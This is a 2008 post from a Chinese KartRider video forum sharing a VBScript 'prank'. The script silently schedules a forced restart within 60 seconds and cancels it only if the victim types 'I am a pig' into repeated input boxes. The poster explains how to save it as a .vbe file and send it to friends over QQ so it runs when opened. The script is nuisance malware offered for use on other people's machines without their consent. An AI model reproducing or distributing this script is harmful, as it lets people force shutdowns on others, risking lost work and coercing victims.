欢迎来到 KartTv - 跑跑卡丁车视频论坛

您似乎还没加入我们的论坛社区，因此目前对于您查看论坛的所有帖子讨论内容会有所限制。加入我们的免费论坛社区您将能发表主题，提出问题，与论坛其他成员讨论问题，并且能私下和其他成员沟通，参与民意调查，了解我们论坛的关于跑跑的各种知识，获得我们的独家资料和其他许多特殊功能。注册会员是快速，简单，并且完全免费的，所以，请您马上加入我们的论坛社区吧。

如果您在注册过程中或者帐户登录中有任何问题，请与我们联系。

（车队、视频）

（网站、合作）

KartTv - 跑跑卡丁车视频论坛 » 跑跑综合讨论区 » QQ 整人

‹‹ 上一主题 | 下一主题 ››

打印

QQ 整人

BLUE_L

KartTv丨Coke

雷霆 R4

Rank: 6 Rank: 6

UID: 16096
帖子: 1771
威望: 29
游戏服务器
注册时间: 2008-8-16

车队队员

发短消息
加为好友
当前离线

1^# 大中小发表于 2008-8-24 14:41 显示全部帖子

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
使用文件传送给朋友只要朋友一打开一分钟就会关机。如上面说的要你说那三个字就不会关机了哈哈大家试试吧。